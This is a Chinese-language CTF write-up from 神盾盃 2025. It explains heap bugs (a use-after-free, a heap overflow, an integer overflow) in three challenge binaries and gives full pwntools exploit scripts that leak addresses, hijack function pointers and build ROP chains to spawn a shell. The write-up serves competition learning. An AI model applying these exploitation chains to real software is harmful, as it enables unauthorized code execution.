# 神盾盃 2025 write-up
這次分為霸主和滲透,滲透部份我完全不會,都在霸主那邊打 binary(沒有 crypto QQ)。感覺看洞看太慢,寫 exploit 也寫太慢,寫出來都被 patch 掉了。
## Day1
### tc0
這題寫出來就被 patch 掉了,他是一個 heap 的題目,保護全開,glibc 2.39,每次的 `add` 會呼叫兩次 malloc,第一次 malloc 會 allocate 0x20 的空間(以下指的空間都是包含 header),放以下的結構體:
```cpp
struct node {
void (print_func *)(void *);
void *note;
}
```
然後會 malloc 一塊小於 `0x1000` 大小的 block,放在 `note` 裡,這個 size 可控。
```cpp
list[i] = malloc(0x10u);
if ( !list[i] )
{
puts("Error : unable to allocate required memory");
exit(-1);
}
*(_QWORD *)list[i] = list_print;
puts("meal size : ");
read(0, buf, 9u);
v0 = atoi(buf);
v4 = v0;
if ( !v0 || (unsigned __int64)v0 > 0xFFF )
{
puts("size don't match");
exit(-1);
}
v1 = list[i];
*(_QWORD *)(v1 + 8) = malloc(v0);
if ( !*(_QWORD *)(list[i] + 8LL) )
{
puts("Error : unable to allocate required memory");
exit(-1);
}
puts("details : ");
read(0, *(void **)(list[i] + 8LL), v4);
++count;
```
另外在 cancel 裡面有一個 `UAF` 漏洞,它沒有清空指標:
```cpp
puts("Index :");
read(0, buf, 4u);
v3 = atoi(buf);
if ( v3 < 0 || v3 >= count )
puts("\x1B[31m Index mebay error \x1B[0m");
if ( list[v3] )
{
v0 = v3;
free(*(void **)(list[v0] + 8LL));
v1 = (void *)list[v0];
list[v0] = 0;
free(v1);
--count;
puts("Cancle Order...");
}
```
首先要讓一個 note 被釋放,叫它 note0 好了。接下來要讓另一個 note 的 data 等於 note0 的 0x20 那塊,且他的 0x20 那塊不能是 note0 的 0x20 那塊,就叫它 note1 好了。此時,再 free 一次 note0,然後用 show 去把 note1 印出來,就能拿到 heap base。
拿到 heap base 之後,想辦法新增筆記讓 note1 的 data 放的是另一個 note 的 print_func,此時把 note1 印出來就可以 leak pie。
接下來注意到裡面有使用 printf 函式,所以有 printf@plt,把某塊 note 裡的函式指標蓋成 printf@plt 就能打 format string,於是就成功拿到 libc 了。
有 libc 就可以把某塊 note 裡的函式指標變成 `system`,帶入 `/bin/sh` 就能 getshell 了。中間有些看起來沒用的操作,是因為它會紀錄現在有多少個 block,決定現在能操作的最大 index 是多少。
```python
from pwn import *
r = process("./tc0")
def add(size: int, data: bytes):
r.sendlineafter(b":", b"!")
r.sendlineafter(b":", str(size).encode())
r.sendafter(b": ", data)
def delete(idx: int):
r.sendlineafter(b":", "@")
r.sendlineafter(b":", str(idx).encode())
def show(idx: int):
r.sendlineafter(b":", "#")
r.sendlineafter(b":", str(idx).encode())
add(0x20, b"x") # 0
add(0x20, b"y") # 1 **target**
delete(1) # 2f0
delete(0) # 2a0
add(0x10, b"a") # 2
add(0x20, b"a") # 3
add(0x20, b"a") # 4
add(0x20, b"a") # 5
delete(1)
show(2)
r.recv()
heap_base = u64(r.recv(5).ljust(8, b"\x00")) << 12
print(hex(heap_base))
# gdb.attach(r)
add(0x20, b"a") # 6
show(2)
r.recvline()
pie_base = u64(r.recv(6).ljust(8, b"\x00")) - 0x1249
print(hex(pie_base))
printf_plt = pie_base + 0x1100
add(0x30, b"a") # 7
delete(0)
delete(7)
add(0x10, p64(printf_plt) + p64(heap_base + 0x460)) # 8
add(0x40, "%15$p") # 9
show(0)
r.recvline()
libc = ELF("./libc.so.6")
libc.address = int(r.recv(14).decode(), 16) - 0x2a1ca
print(hex(libc.address))
add(0x30, b"a") # 10
delete(0)
delete(10)
add(0x10, p64(libc.sym["system"]) + p64(heap_base + 0x4f0))
add(0x50, b"/bin/sh\x00")
# gdb.attach(r)
# input()
show(0)
r.interactive()
```
### Tryit
這題沒弄出來,而且第二天那個洞就被 patch 掉了。簡單來說他可以 leak stack address,且有個任意長度的 heap overflow。但是,它 free 的方式很特別,每次你要先 malloc 一塊你指定 size 的東西,輸入內容後它會輸出這個 block 的內容,並且問你要不要 free 它,在這之後就再也無法存取這個 block 也無法釋放他了。
```cpp
void sub_40145C()
{
_DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF
printf("input size:");
nbytes[0] = sub_40154B();
*(_QWORD *)&nbytes[1] = malloc((unsigned int)(nbytes[0] + 1));
printf("input data:");
read(0, *(void **)&nbytes[1], nbytes[0]);
printf("your input:");
printf("%s", *(const char **)&nbytes[1]);
printf("free?(y/n) :");
read(0, nbytes, 4u);
if ( LOBYTE(nbytes[0]) == 121 )
free(*(void **)&nbytes[1]);
}
```
第一個想法是用 overflow 在 tcache 上弄假 block,但 tcache 會紀錄每個 bin 裡面有多少個 block,而仔細思考會發現我們用正常方式無法有兩個以上相同大小的 tcache。
於是,我的想法是先改 topchunk 的 size 把它弄進 unsorted bin,切到剩下一個剛好大小的把它放進 smallbin,在 smallbin 偽造一個 freelist 再 alloc 一個 block 把他們放進 tcache 裡面。簡單來說就是 house of orange 的前半還有 house of lore。
巧妙的讓 house of lore 後製造出的 tcache 的第一個可以被 overflow 寫到,那就可以做到 stack 任意寫,可以直接 ROP。
只是這邊晚上破防了,反正早上被 patch 掉了。
## Day2
### bitscript
這題在整場比賽的最後 10 分鐘終於 getshell,當時我看到 `RIP = 0xdeadbeef` 的時候整個手在抖。
這題是一個編譯器,它會先把輸入編譯後執行。聽說有很多洞,但我只用到一個,就是在 bitmap 的創建中,檢查大小的部份有 integer overflow,造成之後在 bitmap_get 和 bitmap_set 中可以做到 heap 上任意偏移量讀寫(以 bit 為單位),這個洞是 Aukro 用 mcp 找到的。
```cpp
Bitmap *__fastcall create_bitmap_internal(__int64 width, __int64 height)
{
__int64 v2; // rax
Bitmap *bitmap; // [rsp+18h] [rbp-8h]
if ( width <= 0 || height <= 0 || height * width > 0x800000 )
{
fprintf(stderr, "Invalid bitmap dimensions: width=%lld, height=%lld\n", width, height);
exit(1);
}
bitmap = (Bitmap *)malloc(0x18u); // Allocate Bitmap struct (0x18 = 24 bytes)
// Layout:
// +0x00: long long width
// +0x08: long long height
// +0x10: void *data (bit array, size = (width*height+7)/8)
if ( !bitmap )
{
fwrite("Memory allocation failed for bitmap\n", 1u, 0x24u, stderr);
exit(1);
}
bitmap->width = width;
bitmap->height = height;
v2 = height * width + 7;
if ( v2 < 0 )
v2 = height * width + 14;
bitmap->data = malloc((int)(v2 >> 3)); // Allocate bitmap data array
// Size calculation: (width*height+7)/8 bytes
// VULNERABILITY: Integer overflow if width*height is very large
if ( !bitmap->data )
{
fwrite("Memory allocation failed for bitmap data\n", 1u, 0x29u, stderr);
exit(1);
}
return bitmap;
}
```
既然可讀,就可以在後面 alloc 一塊,丟進 tcache 裡,因為有 safe linking 所以能拿到 heap base,再做一塊丟進 unsorted bin,就能洩漏 libc。知道了這兩個,可以算出偏移量,那就能做到在 libc 上的任意讀寫。但 file structure 比較麻煩,我們選擇先去 libc 上面洩漏 stack,再寫 stack 做 ROP。但是它只能在一開始輸入一個原始碼,我們拿到各種 leak(譬如 libc)之後也沒辦法輸入,要怎麼辦呢?
答案是使用這個程式語言去寫 exploit,各種 leak 都存在裡面的變數,計算也是在裡面進行。這個想法其實很早就出來了,之後就是漫長的搓 exploit 的過程。
```python
from pwn import *
r = process("./bitscript")
yee = b"string s = \"Hello, BitScript!\";\n"
yee += b"bitmap bm = create(65536, 281474976710657);\n"
yee += b"bitmap bm1 = create(100, 100);\n"
yee += b"int x = 0;\n"
yee += b"delete(bm1);\n"
yee += b"int i = 63;\n"
yee += b"while (i >= 0) {\n"
yee += b"x=x*2;\n"
yee += b"x=x+get(bm, 1024+i, 1);\n"
yee += b"i = i - 1;\n"
yee += b"}\n"
yee += b"x=x-2112288;\n"
yee += b"print(x);\n"
yee += b"int trash = 0;\n"
yee += b"delete(trash);\n"
yee += b"int y = 0;\n"
# 48
base_off = 0x14a0
# 0x2090 -> bit base: 66560
# 0x2070 -> bit base: 66432
yee += b"i = 47;\n"
yee += b"while (i >= 0) {\n"
yee += b"y = y * 2;"
yee += b"y = y + get(bm, 896+i, 1);\n"
yee += b"i = i - 1;\n"
yee += b"}\n"
yee += b"y = y - 8336 + 16;\n"
yee += b"print(y);\n"
yee += b"int stack = 0;\n"
yee += b"int environ = x + 2141528;\n"
yee += b"int off = (environ - y) * 8;\n"
yee += b"int xx = off % 65536;\n"
yee += b"int yy = off / 65536;\n"
yee += b"i = 63;\n"
yee += b"while (i >= 0) {\n"
yee += b"stack = stack * 2;\n"
yee += b"stack = stack + get(bm,xx+i, yy);\n"
yee += b"i = i - 1;\n"
yee += b"}\n"
yee += b"stack = stack - 304;\n"
yee += b"print(stack);\n"
libc = ELF("./libc.so.6")
# print(hex(libc.sym["system"]))
# exit(0)
pop_rdi = 0x000000000010f78b #: pop rdi ; ret
ret = 0x000000000010f78b + 1 #: pop rdi ; ret
binsh = 0x00000000001cb42f #: /bin/sh
ls = [ret, pop_rdi, binsh, 0x58750]
yee += b"int tmp = 0;\n"
for i in ls:
yee += f"tmp = x + {i};\n".encode()
yee += b"off = (stack - y) * 8;\n"
yee += b"xx = off % 65536;\n"
yee += b"yy = off / 65536;\n"
yee += b"i = 0;\n"
yee += b"while (i < 64) {\n"
yee += b"set(bm, xx+i, yy, tmp % 2);\n"
yee += b"tmp = tmp / 2;\n"
yee += b"i = i + 1;\n"
yee += b"}\n"
yee += b"stack = stack + 8;\n"
yee += b"print(s);\n"
yee = str(len(yee)).encode().ljust(14, b" ") + b"\n" + yee
print(yee)
r.sendlineafter(b":", yee)
r.interactive()
```